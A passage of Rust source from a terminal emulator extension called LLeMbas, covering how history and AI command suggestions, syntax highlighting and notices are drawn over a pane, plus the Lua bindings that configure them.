// Whether a command exists, whether a path does: only where this
|
||||
// machine's files can say.
|
||||
if let Some(lookups) = Lookups::for_pane(pane) {
|
||||
for word in &parsed.words {
|
||||
let value = match &word.value {
|
||||
Some(value) => value,
|
||||
None => continue,
|
||||
};
|
||||
let (kind, color) = match word.role {
|
||||
Role::Command => (
|
||||
Kind::Command,
|
||||
if lookups.command_exists(value) {
|
||||
colors.command
|
||||
} else {
|
||||
colors.unknown
|
||||
},
|
||||
),
|
||||
Role::Argument | Role::Target => {
|
||||
if !lookups.path_exists(value) {
|
||||
continue;
|
||||
}
|
||||
(Kind::Word, colors.path)
|
||||
}
|
||||
Role::Option | Role::Assignment => continue,
|
||||
};
|
||||
for (i, token) in parsed.tokens.iter().enumerate() {
|
||||
if token.kind == kind && token.start >= word.start && token.end <= word.end {
|
||||
token_colors[i] = color;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let mut t = 0;
|
||||
for piece in &zone.pieces {
|
||||
while t < parsed.tokens.len() && parsed.tokens[t].end <= piece.start {
|
||||
t += 1;
|
||||
}
|
||||
if t >= parsed.tokens.len() {
|
||||
break;
|
||||
}
|
||||
let token = &parsed.tokens[t];
|
||||
if piece.start < token.start {
|
||||
continue;
|
||||
}
|
||||
if let Some(color) = token_colors[t] {
|
||||
plan.row_mut(top + piece.row as StableRowIndex)
|
||||
.colors
|
||||
.push((piece.col, piece.width, color));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// The rest of the line, offered after the cursor.
|
||||
fn ghost(
|
||||
pane: &Arc<dyn Pane>,
|
||||
options: &state::Options,
|
||||
zone: &Zone,
|
||||
line: &Line,
|
||||
cursor: &StableCursorPosition,
|
||||
cols: usize,
|
||||
plan: &mut Plan,
|
||||
) {
|
||||
let at_end = zone.at_end();
|
||||
let typed = zone.typed();
|
||||
let pane_id = pane.pane_id();
|
||||
let mut found: Option<(String, suggest::Source)> = None;
|
||||
if at_end && options.suggestions && !typed.trim().is_empty() {
|
||||
if let Some(rest) = state::history_suggest(typed) {
|
||||
found = Some((rest, suggest::Source::History));
|
||||
}
|
||||
}
|
||||
// LLeMbas is asked only when the history has nothing, never for a private
|
||||
// pane, and only for a shell on this machine: `decide` is the one place
|
||||
// that says so, and why not when not.
|
||||
if options.ai_complete {
|
||||
let lookups = Lookups::for_pane(pane);
|
||||
let shell = complete::shell_of(pane);
|
||||
let conditions = Conditions {
|
||||
on: options.ai_complete,
|
||||
engine: !options.cli.is_empty(),
|
||||
private: state::is_private(pane_id),
|
||||
this_machine: lookups.is_some(),
|
||||
at_end,
|
||||
history: found.is_some(),
|
||||
// the caller draws nothing here unless the shell is at its prompt
|
||||
at_prompt: true,
|
||||
shell: shell.is_some(),
|
||||
};
|
||||
match (decide(&conditions, typed), lookups, shell) {
|
||||
(Ok(line), Some(lookups), Some(shell)) => {
|
||||
if let Some(rest) = complete::suggestion(pane, line, options, lookups.dir(), shell)
|
||||
{
|
||||
found = Some((rest, suggest::Source::Ai));
|
||||
}
|
||||
}
|
||||
(Err(why), _, _) => complete::skipped(why),
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
if !at_end {
|
||||
return;
|
||||
}
|
||||
let (rest, source) = match found {
|
||||
Some(found) => found,
|
||||
None => return,
|
||||
};
|
||||
let rest = match suggest::clean_rest(&rest) {
|
||||
Some(rest) => rest,
|
||||
None => return,
|
||||
};
|
||||
let shown = suggest::fit(&rest, blank_room(line, cursor.x, cols), &char_width);
|
||||
if shown.is_empty() {
|
||||
return;
|
||||
}
|
||||
// what a key takes is what is drawn: a cut suggestion gives its drawn part
|
||||
let taken = suggest::drawn_part(&rest, &shown);
|
||||
let mut attr = CellAttributes::default();
|
||||
match options.colors.ghost {
|
||||
Some(color) => {
|
||||
attr.set_foreground(color);
|
||||
}
|
||||
None => {
|
||||
attr.set_intensity(Intensity::Half);
|
||||
}
|
||||
}
|
||||
// what LLeMbas offered is told apart from what the history did
|
||||
if source == suggest::Source::Ai {
|
||||
attr.set_italic(true);
|
||||
}
|
||||
plan.row_mut(cursor.y).texts.push((cursor.x, shown, attr));
|
||||
if !taken.is_empty() {
|
||||
plan.suggestion = Some(taken);
|
||||
}
|
||||
}
|
||||
|
||||
/// A standing word that must cover nothing (a command waits at the prompt):
|
||||
/// dimmed, at the right of the cursor's row when all of it fits beside what
|
||||
/// the row shows; else on the row below when that row is empty; else cut,
|
||||
/// beside what the row shows; else not at all.
|
||||
fn place_gentle(
|
||||
text: &str,
|
||||
line: &Line,
|
||||
below: Option<&Line>,
|
||||
row: StableRowIndex,
|
||||
taken: usize,
|
||||
cols: usize,
|
||||
colors: &state::Colors,
|
||||
plan: &mut Plan,
|
||||
) {
|
||||
let mut attr = CellAttributes::default();
|
||||
match colors.ghost {
|
||||
Some(color) => {
|
||||
attr.set_foreground(color);
|
||||
}
|
||||
None => {
|
||||
attr.set_intensity(Intensity::Half);
|
||||
}
|
||||
}
|
||||
let wanted = text_width(text);
|
||||
let free = cols.saturating_sub(used_cols(line).max(taken) + 2);
|
||||
let (row, shown) = if free >= wanted {
|
||||
(row, text.to_string())
|
||||
} else if below.map(used_cols) == Some(0) && cols > 2 {
|
||||
(row + 1, suggest::fit(text, cols - 1, &char_width))
|
||||
} else if free >= 12 {
|
||||
(row, suggest::fit(text, free, &char_width))
|
||||
} else {
|
||||
return;
|
||||
};
|
||||
if shown.is_empty() {
|
||||
return;
|
||||
}
|
||||
let col = cols.saturating_sub(text_width(&shown));
|
||||
plan.row_mut(row).texts.push((col, shown, attr));
|
||||
}
|
||||
|
||||
/// A word from the terminal, at the right of a row.
|
||||
fn place_notice(
|
||||
text: &str,
|
||||
line: Option<&Line>,
|
||||
row: StableRowIndex,
|
||||
taken: usize,
|
||||
cols: usize,
|
||||
colors: &state::Colors,
|
||||
plan: &mut Plan,
|
||||
) {
|
||||
let mut attr = CellAttributes::default();
|
||||
attr.set_italic(true);
|
||||
if let Some(color) = colors.notice {
|
||||
attr.set_foreground(color);
|
||||
}
|
||||
let used = line.map(used_cols).unwrap_or(0).max(taken);
|
||||
let free = cols.saturating_sub(used + 2);
|
||||
let wanted = text_width(text);
|
||||
let room = if free >= wanted.min(16) {
|
||||
free
|
||||
} else {
|
||||
// no room beside what the row shows: over its end, set apart
|
||||
attr.set_reverse(true);
|
||||
cols.saturating_sub(1)
|
||||
};
|
||||
let shown = suggest::fit(text, room, &char_width);
|
||||
if shown.is_empty() {
|
||||
return;
|
||||
}
|
||||
let col = cols.saturating_sub(text_width(&shown));
|
||||
plan.row_mut(row).texts.push((col, shown, attr));
|
||||
}
|
||||
|
||||
/// Does an input line that shows something stand above the cursor's row, on
|
||||
/// the rows that row carries on from? Asked when the cursor's own row holds
|
||||
/// no input: a line carried on over rows, or none at all. Only the few rows
|
||||
/// already fetched are looked at, never the whole scrollback.
|
||||
fn input_stands(lines: &[Line], rows: &[zone::Row], at: usize) -> bool {
|
||||
let mut i = at;
|
||||
let mut steps = 0;
|
||||
while i > 0 && steps < MAX_ROWS && lines[i - 1].last_cell_was_wrapped() {
|
||||
i -= 1;
|
||||
steps += 1;
|
||||
if zone::row_has_input(&rows[i]) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
fn compute(
|
||||
pane: &Arc<dyn Pane>,
|
||||
active: bool,
|
||||
options: &state::Options,
|
||||
notice: Option<String>,
|
||||
hint: Option<state::Hint>,
|
||||
cursor: &StableCursorPosition,
|
||||
dims: &RenderableDimensions,
|
||||
) -> Option<Plan> {
|
||||
let mut plan = Plan::default();
|
||||
let alt = pane.is_alt_screen_active();
|
||||
let bottom = dims.physical_top + (dims.viewport_rows as StableRowIndex - 1).max(0);
|
||||
let around = MAX_ROWS as StableRowIndex;
|
||||
|
||||
let mut cursor_line: Option<Line> = None;
|
||||
let mut below_line: Option<Line> = None;
|
||||
let mut taken = 0;
|
||||
if !alt {
|
||||
let first = (cursor.y - around).max(dims.scrollback_top);
|
||||
let (top, lines) = pane.get_lines(first..cursor.y + around + 1);
|
||||
let at = cursor.y - top;
|
||||
if at >= 0 && (at as usize) < lines.len() {
|
||||
let at = at as usize;
|
||||
// The input mark: whether anything stands on the input line of
|
||||
// the prompt the pane's status record is of. LLeMbas places a
|
||||
// command only at an empty one.
|
||||
let marking = if options.input_mark {
|
||||
state::status_at_prompt(pane.pane_id())
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let drawing = options.suggestions || options.highlight || options.ai_complete;
|
||||
let rows: Vec<zone::Row> = if drawing || marking.is_some() {
|
||||
lines.iter().map(row_of).collect()
|
||||
} else {
|
||||
Vec::new()
|
||||
};
|
||||
if let Some(status) = &marking {
|
||||
let typed = zone::row_has_input(&rows[at]) || input_stands(&lines, &rows, at);
|
||||
state::mark_input(pane.pane_id(), status, typed);
|
||||
}
|
||||
if drawing {
|
||||
if let Some(zone) = zone::input_zone(&rows, at, cursor.x, dims.cols, MAX_ROWS) {
|
||||
if options.highlight {
|
||||
highlight(pane, &options.colors, &zone, top, &mut plan);
|
||||
}
|
||||
// a suggestion only where the shell is at its prompt: what
|
||||
// is typed while a command runs is that command's
|
||||
if active
|
||||
&& (options.suggestions || options.ai_complete)
|
||||
&& state::shell_at_prompt(pane.pane_id())
|
||||
{
|
||||
ghost(
|
||||
pane, options, &zone, &lines[at], cursor, dims.cols, &mut plan,
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
if let Some(row) = plan.rows.iter().find(|r| r.row == cursor.y) {
|
||||
for (col, text, _) in &row.texts {
|
||||
taken = taken.max(col + text_width(text));
|
||||
}
|
||||
}
|
||||
taken = taken.max(cursor.x + 1);
|
||||
cursor_line = Some(lines[at].clone());
|
||||
if cursor.y < bottom {
|
||||
below_line = lines.get(at + 1).cloned();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// A word in passing is shown first; the standing word is there again
|
||||
// when its moment is over. A gentle one never covers anything, so in a
|
||||
// full-screen program it is simply not drawn.
|
||||
let (notice, gentle) = match (notice, hint) {
|
||||
(Some(text), _) => (Some(text), None),
|
||||
(None, Some(hint)) if hint.gentle => (None, Some(hint.text)),
|
||||
(None, Some(hint)) => (Some(hint.text), None),
|
||||
(None, None) => (None, None),
|
||||
};
|
||||
if let (Some(text), Some(line)) = (&gentle, &cursor_line) {
|
||||
place_gentle(
|
||||
text,
|
||||
line,
|
||||
below_line.as_ref(),
|
||||
cursor.y,
|
||||
taken,
|
||||
dims.cols,
|
||||
&options.colors,
|
||||
&mut plan,
|
||||
);
|
||||
}
|
||||
|
||||
if let Some(text) = notice {
|
||||
if alt || cursor_line.is_none() {
|
||||
let (top, lines) = pane.get_lines(bottom..bottom + 1);
|
||||
let line = if top == bottom { lines.first() } else { None };
|
||||
place_notice(
|
||||
&text,
|
||||
line,
|
||||
bottom,
|
||||
0,
|
||||
dims.cols,
|
||||
&options.colors,
|
||||
&mut plan,
|
||||
);
|
||||
} else {
|
||||
place_notice(
|
||||
&text,
|
||||
cursor_line.as_ref(),
|
||||
cursor.y,
|
||||
taken,
|
||||
dims.cols,
|
||||
&options.colors,
|
||||
&mut plan,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
if plan.rows.is_empty() {
|
||||
return None;
|
||||
}
|
||||
plan.rows.sort_by_key(|r| r.row);
|
||||
Some(plan)
|
||||
}
|
||||
|
||||
/// What is drawn differently in this pane now; `None` for nothing, which is
|
||||
/// the answer for every pane until the layer turned something on.
|
||||
pub fn plan_for(pane: &Arc<dyn Pane>, active: bool) -> Option<Arc<Plan>> {
|
||||
let pane_id = pane.pane_id();
|
||||
let options = state::options_for(pane_id);
|
||||
let notice = state::notice(pane_id);
|
||||
let hint = state::hint(pane_id);
|
||||
let marking = options.input_mark && state::status_at_prompt(pane_id).is_some();
|
||||
if !(options.suggestions || options.highlight || options.ai_complete)
|
||||
&& notice.is_none()
|
||||
&& hint.is_none()
|
||||
&& !marking
|
||||
{
|
||||
return None;
|
||||
}
|
||||
// The pane itself, never something drawn over it (search, copy mode, the
|
||||
// ask line): those draw their own.
|
||||
let real = Mux::try_get()?.get_pane(pane_id)?;
|
||||
if Arc::as_ptr(&real) as *const () != Arc::as_ptr(pane) as *const () {
|
||||
return None;
|
||||
}
|
||||
|
||||
let cursor = pane.get_cursor_position();
|
||||
let dims = pane.get_dimensions();
|
||||
let key = PlanKey {
|
||||
seqno: pane.get_current_seqno(),
|
||||
x: cursor.x,
|
||||
y: cursor.y,
|
||||
cols: dims.cols,
|
||||
top: dims.physical_top,
|
||||
active,
|
||||
generation: state::generation(),
|
||||
};
|
||||
if let Some((known, plan)) = PLANS.lock().get(&pane_id) {
|
||||
if *known == key {
|
||||
return plan.clone();
|
||||
}
|
||||
}
|
||||
let plan = compute(pane, active, &options, notice, hint, &cursor, &dims).map(Arc::new);
|
||||
let mut plans = PLANS.lock();
|
||||
if plans.len() > 256 {
|
||||
plans.clear();
|
||||
}
|
||||
plans.insert(pane_id, (key, plan.clone()));
|
||||
plan
|
||||
}
|
||||
|
||||
/// Hand a pane's lines to the painter, with what the terminal draws on them.
|
||||
/// Called where a pane is painted, in place of the pane's own `with_lines_mut`.
|
||||
pub fn with_lines_mut(
|
||||
pane: &Arc<dyn Pane>,
|
||||
active: bool,
|
||||
lines: Range<StableRowIndex>,
|
||||
with_lines: &mut dyn WithPaneLines,
|
||||
) {
|
||||
let plan = match plan_for(pane, active) {
|
||||
Some(plan) => plan,
|
||||
None => {
|
||||
pane.with_lines_mut(lines, with_lines);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
struct Decorated<'a> {
|
||||
with_lines: &'a mut dyn WithPaneLines,
|
||||
plan: Arc<Plan>,
|
||||
}
|
||||
|
||||
impl<'a> WithPaneLines for Decorated<'a> {
|
||||
fn with_lines_mut(&mut self, first_row: StableRowIndex, lines: &mut [&mut Line]) {
|
||||
// Copies of the rows that are drawn differently; every other row
|
||||
// is handed on as it is.
|
||||
let mut changed: Vec<(usize, Line)> = Vec::new();
|
||||
for row in &self.plan.rows {
|
||||
let offset = row.row - first_row;
|
||||
if offset < 0 || offset as usize >= lines.len() {
|
||||
continue;
|
||||
}
|
||||
let idx = offset as usize;
|
||||
let mut line: Line = (*lines[idx]).clone();
|
||||
if !row.colors.is_empty() {
|
||||
let cells = line.cells_mut_for_attr_changes_only();
|
||||
for (col, width, color) in &row.colors {
|
||||
for c in *col..(*col + *width) {
|
||||
if let Some(cell) = cells.get_mut(c) {
|
||||
cell.attrs_mut().set_foreground(*color);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
for (col, text, attr) in &row.texts {
|
||||
line.overlay_text_with_attribute(*col, text, attr.clone(), SEQ_ZERO);
|
||||
}
|
||||
line.clear_appdata();
|
||||
changed.push((idx, line));
|
||||
}
|
||||
if changed.is_empty() {
|
||||
self.with_lines.with_lines_mut(first_row, lines);
|
||||
return;
|
||||
}
|
||||
let mut ours = changed
|
||||
.iter_mut()
|
||||
.map(|(idx, line)| (*idx, line))
|
||||
.peekable();
|
||||
let mut refs: Vec<&mut Line> = Vec::with_capacity(lines.len());
|
||||
for (idx, line) in lines.iter_mut().enumerate() {
|
||||
let replaced = match ours.peek() {
|
||||
Some((at, _)) => *at == idx,
|
||||
None => false,
|
||||
};
|
||||
if replaced {
|
||||
if let Some((_, line)) = ours.next() {
|
||||
refs.push(line);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
refs.push(&mut **line);
|
||||
}
|
||||
self.with_lines.with_lines_mut(first_row, &mut refs);
|
||||
}
|
||||
}
|
||||
|
||||
pane.with_lines_mut(lines, &mut Decorated { with_lines, plan });
|
||||
}
|
||||
|
||||
/// A key that takes the suggestion shown after the cursor: Right or End takes
|
||||
/// all of it, Alt+Right one word. What is taken is sent to the shell as if it
|
||||
/// were typed; nothing runs. `false` when there is no suggestion, or the key
|
||||
/// is another: then the key goes where it always went.
|
||||
pub fn take_suggestion(
|
||||
pane: &Arc<dyn Pane>,
|
||||
key: &::window::KeyCode,
|
||||
mods: ::window::Modifiers,
|
||||
) -> bool {
|
||||
use ::window::{KeyCode, Modifiers};
|
||||
let mods = mods.remove_positional_mods();
|
||||
let arrow = matches!(key, KeyCode::RightArrow);
|
||||
let whole = (arrow || matches!(key, KeyCode::End)) && mods == Modifiers::NONE;
|
||||
let word = arrow && mods == Modifiers::ALT;
|
||||
if !whole && !word {
|
||||
return false;
|
||||
}
|
||||
// A key went to the shell that its screen does not show yet: the line
|
||||
// drawn is not the line as it is, and the suggestion may not fit it.
|
||||
if state::key_unseen(pane.pane_id(), pane.get_current_seqno() as u64) {
|
||||
return false;
|
||||
}
|
||||
let plan = match plan_for(pane, true) {
|
||||
Some(plan) => plan,
|
||||
None => return false,
|
||||
};
|
||||
let rest = match &plan.suggestion {
|
||||
Some(rest) => rest,
|
||||
None => return false,
|
||||
};
|
||||
let text = if whole {
|
||||
rest.as_str()
|
||||
} else {
|
||||
suggest::first_word(rest)
|
||||
};
|
||||
if text.is_empty() {
|
||||
return false;
|
||||
}
|
||||
pane.writer().write_all(text.as_bytes()).is_ok()
|
||||
}
|
||||
|
||||
/// A key went to the pane (it was not a suggestion taken): until the pane
|
||||
/// shows output again, no suggestion is taken (`take_suggestion`).
|
||||
pub fn key_sent(pane: &Arc<dyn Pane>) {
|
||||
state::key_sent(pane.pane_id(), pane.get_current_seqno() as u64);
|
||||
}
|
||||
@@ -0,0 +1,387 @@
|
||||
//! LLeMbas TERM: `wezterm.llembas`, through which the Lua layer asks the
|
||||
//! terminal for what only the terminal can draw. The layer looks for each
|
||||
//! function before calling it, so a function added here later is simply not
|
||||
//! used by an older layer, and a layer run where this is missing (the mux
|
||||
//! server, the tests) does without.
|
||||
|
||||
use super::state::{self, Color, Colors, Options};
|
||||
use crate::scripting::guiwin::GuiWin;
|
||||
use crate::termwindow::TermWindowNotif;
|
||||
use config::lua::get_or_create_sub_module;
|
||||
use mlua::{Lua, Table, UserDataRef, Value};
|
||||
use mux::{Mux, MuxNotification};
|
||||
use mux_lua::MuxPane;
|
||||
use std::time::Duration;
|
||||
use termwiz::color::ColorAttribute;
|
||||
use window::WindowOps;
|
||||
|
||||
/// A colour as the layer gives it: a number of the palette, `'#rrggbb'`, or
|
||||
/// false for none. Anything else is none: the layer has checked it already.
|
||||
fn color(value: Value) -> Color {
|
||||
match value {
|
||||
Value::Integer(n) if (0..=255).contains(&n) => Some(ColorAttribute::PaletteIndex(n as u8)),
|
||||
Value::Number(n) if n >= 0.0 && n <= 255.0 => Some(ColorAttribute::PaletteIndex(n as u8)),
|
||||
Value::String(s) => {
|
||||
let s = s.to_str().ok()?;
|
||||
let hex = s.strip_prefix('#')?;
|
||||
if hex.len() != 6 || !hex.is_ascii() {
|
||||
return None;
|
||||
}
|
||||
let r = u8::from_str_radix(&hex[0..2], 16).ok()?;
|
||||
let g = u8::from_str_radix(&hex[2..4], 16).ok()?;
|
||||
let b = u8::from_str_radix(&hex[4..6], 16).ok()?;
|
||||
Some(ColorAttribute::TrueColorWithDefaultFallback(
|
||||
(r, g, b).into(),
|
||||
))
|
||||
}
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
fn colors(table: Option<Table>) -> mlua::Result<Colors> {
|
||||
let table = match table {
|
||||
Some(table) => table,
|
||||
None => return Ok(Colors::default()),
|
||||
};
|
||||
Ok(Colors {
|
||||
prefix: color(table.get("prefix")?),
|
||||
ghost: color(table.get("ghost")?),
|
||||
notice: color(table.get("notice")?),
|
||||
command: color(table.get("command")?),
|
||||
unknown: color(table.get("unknown")?),
|
||||
option: color(table.get("option")?),
|
||||
string: color(table.get("string")?),
|
||||
variable: color(table.get("variable")?),
|
||||
operator: color(table.get("operator")?),
|
||||
comment: color(table.get("comment")?),
|
||||
path: color(table.get("path")?),
|
||||
})
|
||||
}
|
||||
|
||||
pub fn register(lua: &Lua) -> anyhow::Result<()> {
|
||||
let module = get_or_create_sub_module(lua, "llembas")?;
|
||||
|
||||
// configure { suggestions =, highlight =, ai_complete =, cli =, ac_model =,
|
||||
// ac_timeout_ms =, history =, history_max =, colors = { … } }
|
||||
module.set(
|
||||
"configure",
|
||||
lua.create_function(|_, table: Table| {
|
||||
let options = Options {
|
||||
suggestions: table
|
||||
.get::<_, Option<bool>>("suggestions")?
|
||||
.unwrap_or(false),
|
||||
highlight: table.get::<_, Option<bool>>("highlight")?.unwrap_or(false),
|
||||
ai_complete: table
|
||||
.get::<_, Option<bool>>("ai_complete")?
|
||||
.unwrap_or(false),
|
||||
cli: table.get::<_, Option<String>>("cli")?.unwrap_or_default(),
|
||||
ac_model: table
|
||||
.get::<_, Option<String>>("ac_model")?
|
||||
.unwrap_or_default()
|
||||
.chars()
|
||||
.filter(|c| !c.is_control())
|
||||
.take(128)
|
||||
.collect(),
|
||||
ac_timeout_ms: table.get::<_, Option<u64>>("ac_timeout_ms")?.unwrap_or(0),
|
||||
ac_debug: table.get::<_, Option<bool>>("ac_debug")?.unwrap_or(false),
|
||||
input_mark: table.get::<_, Option<bool>>("input_mark")?.unwrap_or(false),
|
||||
history: table.get::<_, Option<bool>>("history")?.unwrap_or(false),
|
||||
history_max: table.get::<_, Option<usize>>("history_max")?.unwrap_or(0),
|
||||
colors: colors(table.get::<_, Option<Table>>("colors")?)?,
|
||||
};
|
||||
let old = state::options();
|
||||
if options != old {
|
||||
// another model, another engine: a line may be asked about
|
||||
// again; and the first answer after such a change may take
|
||||
// longer (the model may have to be loaded)
|
||||
let cold = (options.ai_complete && !old.ai_complete)
|
||||
|| options.ac_model != old.ac_model
|
||||
|| options.cli != old.cli;
|
||||
super::complete::forget_answers(cold);
|
||||
state::set_options(options);
|
||||
}
|
||||
Ok(())
|
||||
})?,
|
||||
)?;
|
||||
|
||||
// configure_pane(pane id, { suggestions =, highlight =, ai_complete =,
|
||||
// ac_model =, input_mark = }): what is on in one
|
||||
// pane, by the settings of its own directory. Wins over `configure` there.
|
||||
module.set(
|
||||
"configure_pane",
|
||||
lua.create_function(|_, (pane_id, table): (usize, Table)| {
|
||||
let switches = state::PaneSwitches {
|
||||
suggestions: table
|
||||
.get::<_, Option<bool>>("suggestions")?
|
||||
.unwrap_or(false),
|
||||
highlight: table.get::<_, Option<bool>>("highlight")?.unwrap_or(false),
|
||||
ai_complete: table
|
||||
.get::<_, Option<bool>>("ai_complete")?
|
||||
.unwrap_or(false),
|
||||
ac_model: table
|
||||
.get::<_, Option<String>>("ac_model")?
|
||||
.unwrap_or_default()
|
||||
.chars()
|
||||
.filter(|c| !c.is_control())
|
||||
.take(128)
|
||||
.collect(),
|
||||
input_mark: table.get::<_, Option<bool>>("input_mark")?.unwrap_or(false),
|
||||
};
|
||||
let on = switches.ai_complete;
|
||||
let model = switches.ac_model.clone();
|
||||
if let Some(old) = state::set_pane_switches(pane_id, switches) {
|
||||
// another model, or autocomplete just switched on: a line may
|
||||
// be asked about again, and the first answer may take longer
|
||||
let cold = match old {
|
||||
Some(old) => (on && !old.ai_complete) || model != old.ac_model,
|
||||
None => false,
|
||||
};
|
||||
if cold {
|
||||
super::complete::forget_answers(true);
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
})?,
|
||||
)?;
|
||||
|
||||
// ask_line(window, pane, { prefix =, event =, text = }): turn the pane's
|
||||
// line into the ask line, or back when it is one already; `text` stands
|
||||
// on it at once (a question given back). The line the person sends comes
|
||||
// back as the event, with the window, the pane and the line.
|
||||
module.set(
|
||||
"ask_line",
|
||||
lua.create_function(
|
||||
|_, (window, pane, table): (UserDataRef<GuiWin>, UserDataRef<MuxPane>, Table)| {
|
||||
let args = super::ask::AskArgs {
|
||||
prefix: table
|
||||
.get::<_, Option<String>>("prefix")?
|
||||
.unwrap_or_default(),
|
||||
event: table.get::<_, String>("event")?,
|
||||
text: table
|
||||
.get::<_, Option<String>>("text")?
|
||||
.unwrap_or_default()
|
||||
.chars()
|
||||
.filter(|c| !c.is_control() || *c == '\n')
|
||||
.take(16 * 1024)
|
||||
.collect(),
|
||||
};
|
||||
let pane_id = pane.0;
|
||||
window
|
||||
.window
|
||||
.notify(TermWindowNotif::Apply(Box::new(move |term_window| {
|
||||
super::ask::toggle(term_window, pane_id, args);
|
||||
})));
|
||||
Ok(true)
|
||||
},
|
||||
)?,
|
||||
)?;
|
||||
|
||||
// ask_active(pane id): is the line of this pane the ask line now?
|
||||
module.set(
|
||||
"ask_active",
|
||||
lua.create_function(|_, pane_id: usize| Ok(state::asking(pane_id)))?,
|
||||
)?;
|
||||
|
||||
// ask_prefix(window, pane, prefix): what stands before the question on the
|
||||
// ask line of this pane, changed while it is there (another model or mode
|
||||
// was chosen). Nothing happens for a pane without an ask line.
|
||||
module.set(
|
||||
"ask_prefix",
|
||||
lua.create_function(
|
||||
|_, (window, pane, prefix): (UserDataRef<GuiWin>, UserDataRef<MuxPane>, String)| {
|
||||
let pane_id = pane.0;
|
||||
let prefix: String = prefix
|
||||
.chars()
|
||||
.filter(|c| !c.is_control())
|
||||
.take(200)
|
||||
.collect();
|
||||
window
|
||||
.window
|
||||
.notify(TermWindowNotif::Apply(Box::new(move |term_window| {
|
||||
super::ask::set_prefix(term_window, pane_id, prefix);
|
||||
})));
|
||||
Ok(true)
|
||||
},
|
||||
)?,
|
||||
)?;
|
||||
|
||||
// notice(pane, text): a word for the person at the cursor's row of the
|
||||
// pane, for a moment. It takes no key and nothing has to be dismissed.
|
||||
module.set(
|
||||
"notice",
|
||||
lua.create_function(|_, (pane, text): (UserDataRef<MuxPane>, String)| {
|
||||
let pane_id = pane.0;
|
||||
let text: String = text.chars().filter(|c| !c.is_control()).take(200).collect();
|
||||
state::set_notice(pane_id, text);
|
||||
Mux::notify_from_any_thread(MuxNotification::PaneOutput(pane_id));
|
||||
// and the pane is drawn again when its time is over
|
||||
promise::spawn::spawn(async move {
|
||||
smol::Timer::after(state::NOTICE_TIME + Duration::from_millis(50)).await;
|
||||
state::changed();
|
||||
Mux::notify_from_any_thread(MuxNotification::PaneOutput(pane_id));
|
||||
})
|
||||
.detach();
|
||||
Ok(true)
|
||||
})?,
|
||||
)?;
|
||||
|
||||
// hint(pane id, text or nil, gentle, source pane id or nil): a word that
|
||||
// stands at the cursor's row of the pane until it is taken away (nil), or
|
||||
// until the pane it tells of (the display) is gone. Drawn, never written.
|
||||
module.set(
|
||||
"hint",
|
||||
lua.create_function(
|
||||
|_,
|
||||
(pane_id, text, gentle, source): (
|
||||
usize,
|
||||
Option<String>,
|
||||
Option<bool>,
|
||||
Option<usize>,
|
||||
)| {
|
||||
let text: String = text
|
||||
.unwrap_or_default()
|
||||
.chars()
|
||||
.filter(|c| !c.is_control())
|
||||
.take(200)
|
||||
.collect();
|
||||
let hint = if text.trim().is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(state::Hint {
|
||||
text,
|
||||
gentle: gentle.unwrap_or(false),
|
||||
source,
|
||||
})
|
||||
};
|
||||
state::set_hint(pane_id, hint);
|
||||
if Mux::try_get().is_some() {
|
||||
Mux::notify_from_any_thread(MuxNotification::PaneOutput(pane_id));
|
||||
}
|
||||
Ok(true)
|
||||
},
|
||||
)?,
|
||||
)?;
|
||||
|
||||
// status(pane id, id or nil, seq, state, directory or nil): where the
|
||||
// shell of a pane stands, as its status record said; nil when the layer
|
||||
// no longer follows it. With a directory the terminal writes the pane's
|
||||
// input mark there; without one it only knows whether the shell is at
|
||||
// its prompt (a suggestion is drawn and taken only then).
|
||||
module.set(
|
||||
"status",
|
||||
lua.create_function(
|
||||
|_,
|
||||
(pane_id, id, seq, state_name, dir): (
|
||||
usize,
|
||||
Option<String>,
|
||||
Option<u64>,
|
||||
Option<String>,
|
||||
Option<String>,
|
||||
)| {
|
||||
let status = match (id, seq) {
|
||||
(Some(id), Some(seq)) if llembas_line::mark::valid_id(&id) => {
|
||||
Some(state::PaneStatus {
|
||||
id,
|
||||
seq,
|
||||
prompt: state_name.as_deref() == Some("prompt"),
|
||||
dir: dir
|
||||
.filter(|dir| dir.starts_with('/'))
|
||||
.map(std::path::PathBuf::from),
|
||||
})
|
||||
}
|
||||
_ => None,
|
||||
};
|
||||
state::set_status(pane_id, status);
|
||||
if Mux::try_get().is_some() {
|
||||
Mux::notify_from_any_thread(MuxNotification::PaneOutput(pane_id));
|
||||
}
|
||||
Ok(true)
|
||||
},
|
||||
)?,
|
||||
)?;
|
||||
|
||||
// complete_status(): the terminal's side of the AI's autocomplete in
|
||||
// words - the engine and the model it would use, the last attempts and
|
||||
// what each gave. Lines of plain text.
|
||||
module.set(
|
||||
"complete_status",
|
||||
lua.create_function(|_, _: ()| Ok(super::complete::status()))?,
|
||||
)?;
|
||||
|
||||
// data_dir(): the terminal's own data directory, the person's alone.
|
||||
module.set(
|
||||
"data_dir",
|
||||
lua.create_function(|_, _: ()| Ok(config::DATA_DIR.to_string_lossy().into_owned()))?,
|
||||
)?;
|
||||
|
||||
// real_path(path): a path with its links followed, as the system names
|
||||
// the program of a running process; nil when there is no such file. The
|
||||
// layer compares it with the program in front of a pane.
|
||||
module.set(
|
||||
"real_path",
|
||||
lua.create_function(|_, path: String| {
|
||||
Ok(std::fs::canonicalize(&path)
|
||||
.ok()
|
||||
.map(|real| real.to_string_lossy().into_owned()))
|
||||
})?,
|
||||
)?;
|
||||
|
||||
// local_dir(pane): the pane's directory when its shell is on this
|
||||
// machine (a pane of the local domain whose shell reported a directory
|
||||
// of this host); nil otherwise. The one answer the layer and the drawing
|
||||
// both go by.
|
||||
module.set(
|
||||
"local_dir",
|
||||
lua.create_function(|_, pane: UserDataRef<MuxPane>| {
|
||||
let pane = match Mux::try_get().and_then(|mux| mux.get_pane(pane.0)) {
|
||||
Some(pane) => pane,
|
||||
None => return Ok(None),
